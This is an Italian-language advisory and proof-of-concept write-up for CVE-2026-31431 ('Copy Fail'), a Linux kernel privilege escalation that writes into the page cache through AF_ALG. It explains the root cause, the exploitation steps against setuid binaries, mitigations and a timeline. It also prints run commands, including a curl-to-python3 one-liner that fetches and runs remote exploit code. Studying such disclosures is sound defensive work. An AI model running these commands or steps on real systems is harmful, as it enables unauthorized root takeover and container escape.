
Proof-of-concept exploit per CVE-2026-31431, un'escalation dei privilegi locale nel kernel Linux tramite scrittura nella page cache di AF_ALG, che consente di ottenere i privilegi di root sulle principali distribuzioni.
algif_aead ("Copy Fail")
Autore: Van Glenndon Enad
Scoperta Originale: Theori / Xint Code Research Team (Taeyang Lee)
Pubblicato: 29 aprile 2026
Gravità: Alta
Punteggio CVSS v3.1: 7.8
Vettore CVSS v3.1: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE: CWE-787 (Scrittura Fuori dai Limiti), CWE-269 (Gestione Impropria dei Privilegi)
CVE-2026-31431, soprannominata pubblicamente "Copy Fail," è una vulnerabilità di escalation locale dei privilegi (LPE) ad alta gravità nel modulo algif_aead del kernel Linux — l'interfaccia di cifratura AEAD dell'API crittografica userspace del kernel (AF_ALG). Il difetto ha origine da un'ottimizzazione delle prestazioni (operazione in-place) introdotta nel 2017 tramite il commit 72548b093ee3, che ha inavvertitamente consentito di inserire pagine di file supportate dalla page cache nello scatterlist di destinazione scrivibile durante un'operazione crittografica AEAD.
Combinando tre sottosistemi del kernel — i socket AF_ALG, la chiamata di sistema splice() e il comportamento di scrittura scratch dell'algoritmo authencesn — un utente locale non privilegiato può eseguire una scrittura controllata di 4 byte nella page cache di qualsiasi file leggibile. Prendendo di mira un binario setuid come /usr/bin/su, questa scrittura corrompe l'immagine eseguibile in memoria senza modificare il file su disco, aggirando così gli strumenti di integrità dei file su disco. L'escalation di privilegi risultante a root è deterministica — nessuna condizione di gara, nessun offset del kernel specifico per distribuzione e nessun privilegio speciale richiesto. Uno sfruttamento PoC Python di 732 byte rilasciato pubblicamente fornisce shell root su Ubuntu, Amazon Linux, RHEL e SUSE in una singola esecuzione non modificata.
La vulnerabilità è stata silenziosamente presente in ogni distribuzione Linux mainstream per quasi nove anni. Secondo Theori, AF_ALG è abilitato nella configurazione del kernel predefinita di praticamente ogni distribuzione, il che significa che non sono necessari flag di compilazione o configurazioni speciali affinché un sistema sia vulnerabile.
Il kernel Linux espone primitive crittografiche allo spazio utente tramite l'interfaccia socket AF_ALG (crypto/algif_aead.c). Nel 2017, è stata integrata un'ottimizzazione delle prestazioni che consentiva a algif_aead di eseguire operazioni AEAD in-place — riutilizzando il buffer di memoria sorgente come destinazione — per evitare copie di dati non necessarie.
Il difetto emerge quando lo spazio utente fornisce input al socket AF_ALG tramite la chiamata di sistema splice(). In questo caso, le pagine inserite nello scatterlist sorgente sono pagine della page cache — memoria condivisa gestita dal kernel che supporta il file sottoposto a splice. A causa dell'ottimizzazione in-place che imposta req->src = req->dst, queste pagine della page cache finiscono nello scatterlist di destinazione scrivibile. L'algoritmo authencesn esegue successivamente una scrittura scratch a dst[assoclen + cryptlen], che si risolve in un offset all'interno di quelle pagine della page cache — scrivendo di fatto dati controllati dall'attaccante nell'immagine in memoria del file sottoposto a splice.
Poiché la page cache è condivisa sull'intero host, inclusi i container, una scrittura da un processo influisce sulle pagine memorizzate nella cache di quel file per ogni processo e container sullo stesso kernel.
La modifica incriminata in algif_aead.c ha impostato req->src = req->dst e ha concatenato le pagine tag dallo scatterlist sorgente nello scatterlist di output tramite sg_chain():
/* ottimizzazione in-place del 2017 — commit 72548b093ee3 */
req->src = req->dst; /* sorgente == destinazione */
sg_chain(dst, n + 1, src_tag); /* pagine tag concatenate in dst scrivibile */
Quando splice() viene utilizzato per fornire un file al socket, le pagine dello scatterlist sono supportate dalla page cache, non da memoria anonima privata. Concatenarle nello scatterlist dst scrivibile viola il presupposto che la destinazione sia memoria privata scrivibile.
authencesnIl template authencesn scrive un valore scratch del numero di sequenza (seqno_lo, byte 4–7 dell'AAD) a dst[assoclen + cryptlen]. Poiché dst ora contiene pagine della page cache del file sottoposto a splice, questa scrittura atterra a un offset controllato dall'attaccante all'interno dell'immagine in memoria del file:
/* scrittura scratch authencesn — offset determinato da assoclen + cryptlen */
scatterwalk_map_and_copy(seqno, dst,
req->assoclen + req->cryptlen,
sizeof(seqno), 1); /* scrive nella page cache */
I 4 byte scritti corrispondono a seqno_lo, che l'attaccante controlla tramite il payload AAD inviato tramite sendmsg().
Socket AF_ALG (SOCK_SEQPACKET)
│
│ splice() — consegna pagine supportate da file nel socket
▼
Ottimizzazione in-place algif_aead
│ req->src = req->dst
│ le pagine della page cache finiscono nello scatterlist scrivibile
▼
Scrittura scratch authencesn
│ scrive seqno_lo a dst[assoclen + cryptlen]
│ = 4 byte scelti dall'attaccante a un offset del file scelto dall'attaccante
▼
Corruzione della page cache (nessuna modifica su disco)
La correzione (a664bf3d603d) annulla completamente l'ottimizzazione in-place — algif_aead ora opera sempre out-of-place, allocando un buffer di destinazione separato. Poiché sorgente e destinazione ora provengono da mapping diversi, le pagine della page cache in src non possono mai essere raggiunte dal percorso di scrittura dst.
Notabilmente assenti dai prerequisiti: accesso alla rete, funzionalità di debug del kernel, CAP_SYS_ADMIN, moduli del kernel pre-caricati o qualsiasi primitiva preesistente. La superficie di attacco è interamente locale e autonoma.
Passo 1: L'attaccante apre un socket AEAD AF_ALG (SOCK_SEQPACKET)
│ carica automaticamente il modulo algif_aead; nessun root richiesto
▼
Passo 2: L'attaccante apre il binario setuid di destinazione (es. /usr/bin/su) in lettura
│ è necessario solo il permesso di lettura
▼
Passo 3: splice() trasferisce le pagine del file di destinazione nel socket AF_ALG
│ le pagine della page cache ora sono nello scatterlist sorgente
▼
Passo 4: L'ottimizzazione in-place scatta: req->src = req->dst
│ le pagine della page cache entrano nello scatterlist di destinazione scrivibile
▼
Passo 5: Il percorso di decrittazione authencesn esegue una scrittura scratch a dst[assoclen + cryptlen]
│ l'attaccante controlla assoclen, cryptlen e il valore seqno_lo di 4 byte
▼
Passo 6: La sovrascrittura controllata di 4 byte atterra nella page cache di /usr/bin/su
│ il binario in memoria viene patchato; il file su disco rimane invariato
▼
Passo 7: L'attaccante esegue `su` — l'immagine in memoria corrotta viene eseguita come root
│ il bit setuid è preservato; il kernel esegue il codice patchato dall'attaccante
▼
Passo 8: Shell root ottenuta — escalation di privilegi completata
Negli ambienti container, il Passo 6 propaga la corruzione della page cache all'host e a tutti i container fratelli che condividono lo stesso kernel, consentendo una fuga completa dal container.
Il PoC (copy_fail_exp.py, 732 byte) utilizza solo moduli della libreria standard Python 3.10+: os, socket e zlib. Lo sfruttamento costruisce e invia un payload sendmsg() meticolosamente realizzato al socket AF_ALG dopo aver preparato le pagine del file tramite splice().
/usr/bin/suIl PoC predefinito prende di mira /usr/bin/su. La scrittura di 4 byte patcha un'istruzione specifica nella pagina memorizzata nella cache del binario ELF — sostituendo un ramo di controllo dei privilegi o un controllo uid con un no-op o un salto incondizionato — così che quando su viene successivamente eseguito, l'ambiente di esecuzione setuid esegue il codice patchato come root. La corruzione è non persistente: un'evizione della pagina o un riavvio ripristinano il binario originale.
A differenza dei tipici attacchi alla page cache (es., Dirty COW), Copy Fail non richiede alcuna condizione di gara. Il percorso di scrittura è lineare: splice() → sendmsg() → scrittura scratch. Ogni chiamata è deterministica e sincrona, rendendo lo sfruttamento altamente affidabile su hardware, versioni del kernel e distribuzioni diverse.
Avvertenza: Questo PoC è fornito esclusivamente a scopo educativo, di ricerca e di test autorizzato. Non utilizzarlo contro qualsiasi sistema che non possiedi o per il quale non hai esplicita autorizzazione scritta a testare.
Il PoC canonico è mantenuto da Theori nel repository ufficiale. È uno script Python 3.10+ autonomo di 732 byte senza dipendenze esterne.
Utilizzo predefinito (prende di mira /usr/bin/su):
python3 copy_fail_exp.py
Destinazione setuid personalizzata:
python3 copy_fail_exp.py /usr/bin/sudo
One-liner (dal sito ufficiale):
curl https://copy.fail/exp | python3 && su
# id
uid=0(root) gid=1002(user) groups=1002(user)
SHA256 del PoC canonico:
a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9
Lo stesso script non modificato è stato dimostrato pubblicamente ottenere shell root su Ubuntu 24.04 LTS, Amazon Linux 2023, RHEL 10.1 e SUSE 16 in un'unica sessione tmux.
Il vettore di impatto più critico sono gli ambienti multi-tenant: box di sviluppo condivisi, nodi worker Kubernetes, runner self-hosted di GitHub Actions, agenti CI GitLab/Jenkins, piattaforme di hosting di notebook e ambienti serverless in cui il codice fornito dall'utente viene eseguito con un account utente normale. Qualsiasi ambiente di questo tipo che esegua un kernel non corretto è completamente compromesso da qualsiasi utente che possa eseguire codice.
Aggiornare il kernel a una versione contenente il commit di correzione mainline a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5:
Disabilitare il modulo del kernel algif_aead per bloccare il percorso di attacco alla fonte:
# Rendi il blocco persistente tra i riavvii
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
# Scarica il modulo dal kernel in esecuzione (se caricato)
rmmod algif_aead
Cosa interrompe: Questo non influisce su dm-crypt/LUKS, kTLS, IPsec/XFRM, SSH o su OpenSSL/GnuTLS/NSS standard. Potrebbe influire sulle applicazioni userspace che utilizzano esplicitamente il motore OpenSSL
afalgo che si legano direttamente ai socketaead. Verificare conlsof | grep AF_ALGprima di applicare.
AF_ALG tramite seccomp indipendentemente dallo stato della patch — aggiungere SOCK_SEQPACKET + AF_ALG alla lista di negazione nel profilo seccomp.AF_ALG.AF_ALG SOCK_SEQPACKET — questo è il primo passo obbligatorio dello sfruttamento.su/sudo combinate con l'uso di socket AF_ALG come segnale comportamentale.Disclaimer Legale: Questa analisi e prova di concetto sono pubblicate strettamente a scopo educativo, di ricerca e di sicurezza difensiva. L'autore non approva l'accesso non autorizzato ai sistemi informatici. Ottenere sempre esplicita autorizzazione scritta prima di condurre test di sicurezza su qualsiasi sistema che non si possiede.
| Componente | Dettagli |
|---|
| Sottosistema Interessato | crypto/algif_aead.c — interfaccia AEAD AF_ALG del kernel Linux |
| Vulnerabilità Introdotta | Kernel Linux 4.14 (2017), commit 72548b093ee38a6d4f2a19e6ef1948ae05c181f7 |
| Versioni Corrette | 6.18.22, 6.19.12, 7.0 |
| Commit di Correzione | a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5 |
| Distribuzioni Verificate | Ubuntu 24.04 LTS, Amazon Linux 2023, RHEL 10.1, SUSE 16 |
| Implicitamente Interessate | Debian, Arch, Fedora, Rocky, AlmaLinux, Oracle Linux e qualsiasi distribuzione che esegua un kernel non corretto compilato dal 2017 |
| Requisito | Note |
|---|
| Account utente locale non privilegiato | Nessun permesso elevato necessario |
| Kernel compilato dal 2017 in poi (≥ 4.14) | Copre di fatto tutte le distribuzioni mainstream |
AF_ALG (CONFIG_CRYPTO_USER_API) abilitato | Predefinito in praticamente tutte le configurazioni del kernel delle distribuzioni |
Modulo algif_aead caricabile/caricato | Caricato automaticamente alla prima creazione di un socket AF_ALG |
Almeno un binario setuid leggibile | es., /usr/bin/su, /usr/bin/sudo |
| Python 3.10+ (per il PoC pubblico) | Solo os, socket, zlib dalla libreria standard |
| Parametro | Controllo dell'Attaccante | Meccanismo |
|---|
| File di destinazione | Qualsiasi file leggibile dall'attaccante | Passato a splice() |
| Offset di scrittura | assoclen + cryptlen | Impostato tramite le opzioni del socket in sendmsg() |
| Valore di scrittura (4 byte) | seqno_lo | Byte 4–7 del payload AAD in sendmsg() |
| Categoria | Descrizione |
|---|
| Riservatezza | Accesso completo in lettura a tutti i file sull'host come root |
| Integrità | Capacità di scrivere file arbitrari, installare backdoor, modificare /etc/passwd o /etc/shadow |
| Disponibilità | Compromissione totale dell'host; possibile interruzione del servizio |
| Autenticazione | Nessuna credenziale richiesta oltre a un account utente locale |
| Fuga dal Container | La page cache è condivisa sull'host — un pod con una shell locale può compromettere il nodo e attraversare i confini del tenant |
| Pipeline CI/CD | Una pull request non attendibile eseguita su un runner self-hosted diventa root sull'host del runner |
| Persistenza | Post-sfruttamento: iniezione di chiavi SSH, cron job, installazione di moduli del kernel — tutto ottenibile banalmente |
| Evasione Forense | Il binario su disco non viene mai modificato; i monitor di integrità dei file (FIM), AIDE, Tripwire non rilevano alcun cambiamento |
| Distribuzione | Versione del Kernel Corretta |
|---|
| Linux upstream | 6.18.22, 6.19.12, 7.0 |
| Ubuntu 24.04 LTS | Patch del fornitore disponibile — apt update && apt upgrade |
| Amazon Linux 2023 | Patch del fornitore disponibile — dnf update kernel |
| RHEL 10.1 | Patch Red Hat in corso — AlmaLinux ha distribuito la correzione upstream |
| SUSE 16 | Patch del fornitore disponibile — zypper update kernel-default |
| Data | Evento |
|---|
| 2026-03-23 | Vulnerabilità segnalata al team di sicurezza del kernel Linux da Theori |
| 2026-03-24 | Ricevuta conferma iniziale |
| 2026-03-25 | Patch proposta e revisionata dai manutentori del kernel |
| 2026-04-01 | Correzione committata in mainline (a664bf3d603d) |
| 2026-04-22 | Assegnato CVE-2026-31431 |
| 2026-04-29 | Divulgazione pubblica su copy.fail; PoC pubblicato su GitHub |
| 2026-04-30 | AlmaLinux distribuisce kernel corretto utilizzando la correzione upstream |
| 2026-04-30 | Blog di sicurezza Microsoft, Sophos, Sysdig, Bugcrowd pubblicano analisi |
| 2026-05-01 | Pubblicato PoC di fuga dal container Kubernetes |
| 2026-05-02 | Pubblicate analisi e documentazione indipendenti |